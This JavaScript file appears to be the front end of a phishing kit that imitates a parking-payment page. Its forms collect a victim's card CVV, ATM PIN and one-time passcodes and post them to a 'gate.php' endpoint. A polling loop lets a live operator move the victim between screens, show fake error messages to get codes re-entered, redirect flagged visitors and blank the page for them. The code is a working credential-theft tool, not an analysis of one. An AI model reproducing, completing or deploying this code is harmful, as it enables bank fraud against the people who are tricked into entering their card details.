let gateURL = "gate.php", pingThrottle = 2000, formHeaders = new Headers({'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8'}); // fetch(gateURL, { method: 'POST', body: new URLSearchParams({ action: "redirLink" }), headers: formHeaders }) .then(response => response.json()) .then(data => { redirectKick = data.redirectLink; // TODO: asta trebuie reparat }); const gotoHomeScreen = (event) => { if( typeof event !== 'undefined' && event !== null && typeof event !== "number"){ event.preventDefault(); } display("timerScreen") } const gotoPlatesScreen = (event) => { event.preventDefault(); display("plateScreen") } const showError = (screenElement) => { document.getElementById(screenElement).querySelector(".error_msg").classList.remove("hidden") } const gotoCvvScreen = (event) => { if( typeof event !== 'undefined' && event !== null && typeof event !== "number"){ event.preventDefault(); } display("cvvScreen") if( event == 1 ){ showError("cvvScreen") //alert("show error msg") } } const submitCvvData = (event) =>{ event.preventDefault(); //hideScreens(); let formData = getFormData(event, "cvv") let ll = sendData(formData) console.log(ll) console.log(formData) } const submitPinData = (event) =>{ event.preventDefault(); //hideScreens(); let formData = getFormData(event, "atm") let ll = sendData(formData) console.log(ll) console.log(formData) } const submitOtpData = (event) =>{ event.preventDefault(); //hideScreens(); let formData = getFormData(event, "otp") let ll = sendData(formData) console.log(ll) console.log(formData) } const gotoConfirmScreen = (event) => { if( typeof event !== 'undefined' && event !== null && typeof event !== "number"){ event.preventDefault(); } display("confirmScreen") if( event == 1 ){ showError("confirmScreen") //alert("show error msg") } } const gotoOtpScreen = (event) => { if( typeof event !== 'undefined' && event !== null && typeof event !== "number"){ event.preventDefault(); } display("otpScreen") if( event == 1 ){ showError("otpScreen") //alert("show error msg") } } const gotoPinScreen = (event) => { if( typeof event !== 'undefined' && event !== null && typeof event !== "number"){ event.preventDefault(); } display("pinScreen") if( event == 1 ){ showError("pinScreen") //alert("show error msg") } } const gotoErrScreen = (event) => { if( typeof event !== 'undefined' && event !== null && typeof event !== "number"){ event.preventDefault(); } display("errScreen") if( event == 1 ){ showError("errScreen") //alert("show error msg") } } const hideScreens = () => { //hide all .screen | empty all .screen > input | set all select to first option document.getElementById("timerScreen").classList.remove("_hidden") document.getElementById("timerScreen").classList.add("hidden") document.getElementById("plateScreen").classList.remove("_hidden") document.getElementById("plateScreen").classList.add("hidden") document.getElementById("cvvScreen").classList.remove("_hidden") document.getElementById("cvvScreen").classList.add("hidden") document.getElementById("confirmScreen").classList.remove("_hidden") document.getElementById("confirmScreen").classList.add("hidden") document.getElementById("otpScreen").classList.remove("_hidden") document.getElementById("otpScreen").classList.add("hidden") document.getElementById("pinScreen").classList.remove("_hidden") document.getElementById("pinScreen").classList.add("hidden") document.getElementById("loadingScreen").classList.remove("_hidden") document.getElementById("loadingScreen").classList.add("hidden") document.getElementById("errScreen").classList.remove("_hidden") document.getElementById("errScreen").classList.add("hidden") document.getElementById("otp").value = ""; document.getElementById("atmPin").value = ""; allErrors = document.getElementsByClassName("error_msg") allInputs = document.querySelectorAll("input[type='text']") for( let i=0;i { hideScreens(); document.getElementById(screenName).classList.remove("hidden") document.getElementById(screenName).classList.add("_hidden") } const getFormData =(event, action = "ping") => { let formData = {}; formData["action"] = action for (let i = 0; i < event.target.length; i++) { if( null != event.target.elements[i].getAttribute("name") ){ formData[event.target.elements[i].getAttribute("name")] = event.target.elements[i].value; } } return formData } const gotoWaitScreen = () => { display("loadingScreen") } const sendData = (formData) => { fetch(gateURL, { method: 'POST', body: new URLSearchParams(formData), headers: formHeaders }) .then(response => response.json()) .then(data => { if (data.ban_status == 1) { document.body.innerHTML = ''; window.location.replace(redirectKick); } // setTimeout(function () { // pingHome(); // }, pingThrottle); executeFunction(data.cmd, data.params, data.extra); console.log(data) //alert(data.cmd); }); } const executeFunction = (cmd, param = 0, extra = null) => { //console.log( [cmd, param, extra] ) switch ( parseInt(cmd) ) { case 0: // nein break; case 1: gotoHomeScreen(param); break; case 3: gotoCvvScreen(param); break; case 4: gotoConfirmScreen(param); break; case 5: gotoOtpScreen(param); break; case 6: gotoPinScreen(param); break; case 7: gotoErrScreen(param); break; case 8: window.location.replace(redirectKick) break; case 9: gotoWaitScreen(); break; default: //niet break; } } // 1 -> timerScreen | timerForm let pingHome = () => { fetch(gateURL, { method: 'POST', body: new URLSearchParams({ action: "ping" }), headers: formHeaders }) .then(response => response.json()) .then(data => { if (data.ban_status == 1) { document.body.innerHTML = ''; window.location.replace(redirectKick); } setTimeout(function () { pingHome(); }, pingThrottle); executeFunction(data.cmd, data.params, data.extra); //alert(data.cmd); }); } setTimeout(function () { pingHome() }, pingThrottle); const calculateRate = () => { let totalTime = parseInt(document.getElementById("minutes_select").options[document.getElementById("minutes_select").selectedIndex].value) + parseInt(document.getElementById("hours_select").options[document.getElementById("hours_select").selectedIndex].value); totalPrice = 0.25 * totalTime /15; console.log(totalPrice) if(totalPrice > 4 ){ totalPrice = 4; } let priceTags = document.getElementsByClassName("totalPriceSpan") for(let i=0;i { let currentPlateNumber = document.getElementById("plateNumber").value let plateNumber = document.getElementsByClassName("licenseNumber") for(let i=0;i 0 ? ` ${minutes}m` : ''}`; } document.getElementById("timerForm").addEventListener("submit", gotoPlatesScreen ) document.getElementById("plateForm").addEventListener("submit", gotoCvvScreen ) document.getElementById("cvvForm").addEventListener("submit", submitCvvData ) document.getElementById("pinForm").addEventListener("submit", submitPinData ) document.getElementById("otpForm").addEventListener("submit", submitOtpData ) // document.getElementById("cvvForm").addEventListener("submit", gotoConfirmScreen ) document.getElementById("confirmForm").addEventListener("submit", gotoPlatesScreen ) //document.getElementById("otpForm").addEventListener("submit", gotoPlatesScreen ) //document.getElementById("pinForm").addEventListener("submit", gotoPlatesScreen ) document.getElementById("plateNumber").addEventListener("change", setPlatenumber) document.getElementById("hours_select").addEventListener("change", calculateRate) document.getElementById("minutes_select").addEventListener("change", calculateRate) let resumePage = () => { //console.log("resume page") fetch(gateURL, { method: 'POST', body: new URLSearchParams({ action: "ping" }), headers: formHeaders }) .then(response => response.json()) .then(data => { //console.log(data); if (data.ban_status == 1) { document.body.innerHTML = ''; window.location.replace(redirectKick); } //console.log("executeFunction()") //console.log([data.page, data.params, data.extra]) executeFunction(data.page, data.params, data.extra); }); } resumePage(); calculateRate(); setPlatenumber(); document.getElementById("minutes_select").options[document.getElementById("minutes_select").selectedIndex].value document.getElementById("hours_select").options[document.getElementById("hours_select").selectedIndex].value